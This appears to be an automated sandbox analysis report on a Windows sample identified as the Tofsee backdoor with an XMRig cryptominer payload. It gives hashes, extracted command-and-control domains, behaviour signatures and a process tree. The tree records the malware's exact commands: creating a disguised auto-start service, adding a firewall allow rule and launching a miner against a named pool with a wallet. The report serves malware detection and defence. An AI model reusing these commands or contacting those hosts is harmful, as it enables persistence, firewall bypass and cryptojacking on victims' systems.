Analysis

  • max time kernel
    140s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    28/10/2022, 10:38

General

  • Target

    file.exe

  • Size

    259KB

  • MD5

    29c4f7975a92090a67d7e7a553be8c03

  • SHA1

    ccfc84730518ba202b596052bfe6a9db1228316f

  • SHA256

    6724ddb4e9eead37ddda5526efa5484e37ade99449de76fc84b9dd2aa90648ed

  • SHA512

    c57d70dfc33fa768e9557fae92ab21855308b9cac03875342e4f97b7ffce3a2d41d34e29e0c0380404f82e006b7769045696970dab3d86e714e570fd483274b3

  • SSDEEP

    6144:KktHzL2usorLDNdcYBOT2g7PcJpXbH0Nv2qKozEZT:KktHzqVoXBdcaOMVbHqOqwT

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1212
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dteucizz\
      2⤵
        PID:816
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lbhotfjy.exe" C:\Windows\SysWOW64\dteucizz\
        2⤵
          PID:1352
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dteucizz binPath= "C:\Windows\SysWOW64\dteucizz\lbhotfjy.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1544
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dteucizz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1712
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dteucizz
          2⤵
          • Launches sc.exe
          PID:240
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:524
      • C:\Windows\SysWOW64\dteucizz\lbhotfjy.exe
        C:\Windows\SysWOW64\dteucizz\lbhotfjy.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:772
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1832
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1696

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\lbhotfjy.exe

              Filesize

              13.1MB

              MD5

              9a33bf32bd2f220e75aa1556505f60cc

              SHA1

              659c1b60fdf55c9ddb664ad1dc989fac8d23b60b

              SHA256

              d9101f1a1747d5c055f6d89552d93cd879e4c097df22995a55bbdfb96a403bb4

              SHA512

              4abff3f47bc9f2816bee5c883e9bf2d6ccd9dd7fd6cea487a7386913e06f301ddae97b7f31d75ed9ff61a5c2dd6230783cf704de3a187c10e96167d89ee223bd

            • C:\Windows\SysWOW64\dteucizz\lbhotfjy.exe

              Filesize

              13.1MB

              MD5

              9a33bf32bd2f220e75aa1556505f60cc

              SHA1

              659c1b60fdf55c9ddb664ad1dc989fac8d23b60b

              SHA256

              d9101f1a1747d5c055f6d89552d93cd879e4c097df22995a55bbdfb96a403bb4

              SHA512

              4abff3f47bc9f2816bee5c883e9bf2d6ccd9dd7fd6cea487a7386913e06f301ddae97b7f31d75ed9ff61a5c2dd6230783cf704de3a187c10e96167d89ee223bd

            • memory/772-78-0x0000000000400000-0x0000000002C2E000-memory.dmp

              Filesize

              40.2MB

            • memory/772-74-0x0000000002D1A000-0x0000000002D2F000-memory.dmp

              Filesize

              84KB

            • memory/1212-56-0x0000000002CCA000-0x0000000002CDF000-memory.dmp

              Filesize

              84KB

            • memory/1212-60-0x0000000000400000-0x0000000002C2E000-memory.dmp

              Filesize

              40.2MB

            • memory/1212-66-0x0000000002CCA000-0x0000000002CDF000-memory.dmp

              Filesize

              84KB

            • memory/1212-67-0x0000000000400000-0x0000000002C2E000-memory.dmp

              Filesize

              40.2MB

            • memory/1212-54-0x0000000076711000-0x0000000076713000-memory.dmp

              Filesize

              8KB

            • memory/1212-58-0x00000000002B0000-0x00000000002C3000-memory.dmp

              Filesize

              76KB

            • memory/1696-99-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1696-101-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1832-80-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/1832-81-0x0000000001C40000-0x0000000001E4F000-memory.dmp

              Filesize

              2.1MB

            • memory/1832-84-0x00000000002F0000-0x00000000002F6000-memory.dmp

              Filesize

              24KB

            • memory/1832-87-0x0000000000300000-0x0000000000310000-memory.dmp

              Filesize

              64KB

            • memory/1832-90-0x0000000000320000-0x0000000000325000-memory.dmp

              Filesize

              20KB

            • memory/1832-93-0x00000000056F0000-0x0000000005AFB000-memory.dmp

              Filesize

              4.0MB

            • memory/1832-96-0x00000000003E0000-0x00000000003E7000-memory.dmp

              Filesize

              28KB

            • memory/1832-79-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/1832-70-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/1832-72-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB